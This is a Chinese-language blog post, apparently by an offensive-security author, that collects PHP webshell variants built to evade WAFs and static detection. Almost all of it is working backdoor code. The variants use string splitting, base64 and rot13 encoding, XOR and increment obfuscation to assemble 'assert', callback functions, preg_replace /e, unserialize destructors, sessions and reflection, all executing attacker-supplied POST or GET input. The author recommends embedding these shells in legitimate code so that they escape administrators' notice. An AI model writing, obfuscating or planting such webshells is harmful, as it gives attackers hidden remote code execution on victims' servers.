0x01 基于各类常规命令和代码执行函数的花样变形[如,拆分重组,动态执行,以此来躲避静态特征检测],不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行[如,php7],万一再开了安全模式,就又有点儿费劲了
php中一些常见的执行类型函数:
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...
<?php $_POST['fun']($_REQUEST['req']);?>
<?php $req = "a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
<?php $cmd = `$_POST[ch]`;echo "<pre>$cmd</pre>";?>
fanyinhao.png
<?php $arr = array("a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
<?php
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>
0x02 利用各类编码来消除静态特征,以此来扰乱waf识别流量,说实话这种还是相对比较容易被检测到
利用base64编码,这种编码可能是各类webshell中用的最频繁的一种,如,weevely中默认就是用的base64,所以免杀性相对较好,另外还有诸如各类免杀大马,过waf菜刀等等……
<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>
利用rot13编码,也用的比较频繁,关于各类编码的内部工作细节,请仔细阅读开发手册
<?php $a=str_rot13('nffreg');$a($_POST['req']);?>
<?php ($req = $_POST['req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>
利用url编码以及自定义加解密实现的免杀,其实也有点儿类似编码,因为是自己设置的加密,所以只有通信的双方知道,这样一来waf就很难在未解密数据中识别出webshell特征,不过人眼还是很容易就看出来的
不实用
利用ASCII码转换,消除特征,如chr...比较简单,也比较原始,这里就不多说了,实战也不推荐用,肉眼扫一下就看出来了
不实用
利用 xor [异或] ~[取反] 注入此类的位运算,实战中依然不推荐,只要是个正常人基本都能看出来这是啥,实际中记得先把下面的url编码解码
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
数组特性,这个就更不推荐了,看似花哨,但正常的项目代码中是根本不可能出现这些东西的,很明显,这无疑是在故意告诉别人,你来了,然后这就是你的webshell请删除,如果单单只是想免杀,回调和反序列也许会更好,相对比价隐蔽,完全不用这么招摇过市的搞
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[req]); // ASSERT($_POST[_]);
0x03 利用一些特殊的web服务器及脚本自身配置来bypass waf
利用短格式来实现免杀,前提需要目标的php配置已经事先开启短格式支持[php.ini有对应的开关],不过一般默认都是没开的,确实比较鸡肋,不实用
short_open_tag = On
<?=`$_GET[m]`;
0x04 利用各种脚本语言自身的语言特性灵活隐匿webshell,个人非常推荐的方式,扩展空间也非常的大,较适合用于实战:
具有回调特性的函数其实还有非常多,这里只是简单地列出了一部分,可挖掘的潜力还比较大,大家可对着手册自行深入研究,利用回调的好处除了免杀之外,还有就是可以很方便我们直接把我们的shell插到目标的正常代码中,让其变得更加难以追踪,关于webshell隐藏的更多内容,大家可参考我的博客,那里很久之前稍微总结了一些:
<?php $a = create_function('', @$_REQUEST['req']);$a();?>
<?php $ah = $_POST['ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
<?php $fun = $_REQUEST['fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
<?php $arr = new ArrayObject(array('xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>
<?php
$fun = base64_decode($_REQUEST['fun']);
$arr = array(base64_decode($_POST['code']));
$arr2 = array(1);
array_udiff($arr,$arr2,$fun);
?>
<?php mb_ereg_replace('.*', $_REQUEST['req'], '', 'e');?>
<?php $fun = $_REQUEST['fun'];register_shutdown_function($fun,$_REQUEST['req']);?>
<?php echo preg_filter('|.*|e',$_REQUEST['req'],'')?>
利用序列化与反序列化免杀,简单来讲原理类似反序列化漏洞,因为成员变量可控,在析构的时造成的代码执行:
<?php
class shell{
public $code="tmpdata";
function __destruct()
{
assert($this->code);
}
}
$ser = $_GET['serdata'];
unserialize($ser);
序列化后的数据
<?php
class shell{
public $code="phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;
编码配合动态函数:
<?php
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array("a"=>$fun);
$a = "${ $arr['a']($code)}";
?>
利用包含特性,也是一种相对比较原始的waf bypass方式:
<?php include './include_shell.txt'?>
利用session机制免杀:
<?php
session_start();$_SESSION['cmd'] = trim($_POST['code']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
?>
利用php反射特性免杀
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));?>
0x05 后话
上面的给出的这些shell,正常来讲,都不会活很久,可能有的早已经死了,像各种各种编码它本身就是敏感特征
因为自己目前还在外地,完整环境也不在身边,就没一一给大家进行实际的免杀测试了,不过这并不是目的
这次主要还想跟大家好好梳理一些可以用来免杀的特性,大家可以再单独针对这些特性去深入研究,达到灵活变通才是最终目的
实战中,假设某一个特性不行,不妨同时几个特性配合着一起来,往往会有不错的效果
说实话,如果不针对这些带有特殊特性的函数下手,只是简单的见招拆招,基于此思路衍生出来的shell,waf是很难做到主动识别的
所以,大家大可不用担心这些shell被杀,核心还是灵活掌握这些最基本的免杀思路
没事儿还是非常建议大家多去翻翻php的开发手册,里面还有很多没被发觉出来的宝贝,也期待能和大家一起多交流
如果真的是深刻理会了,像什么过waf菜刀自然就很容易理解了,其实现在看来还是蛮简单的
自己拿wireshark跑跑POST包就能看到的很清楚了,然后再针对杀的点逆向一下即可
其实,随着php快速的升级迭代,有些特性可能并不能适用于所有php版本,这也再正常不过
以前的没有了肯定还会有更好的替代品,还是那句话,思路比任何东西都要重要
可能大家也发现了,这次基本全部都是在说php,并没有涉及到asp或者aspx,不过其中有些脚本特性都是相通的,大家触类旁通就好了
实际使用中建议不要用的过于花哨,没错,也许你确实是躲避了waf,但却没逃过运维大叔们的法眼,所以,越不显眼,代码越正常,长度越短越好
当然啦,方法肯定不止这么点儿,期待能和大家一起多交流
始终坚信,授人以鱼不如授人以渔,^_^ 未完,待续……
欢迎大家多多关注 我的博客 或者 扫码关注个人微信公众号 'apt攻防指南'
网友评论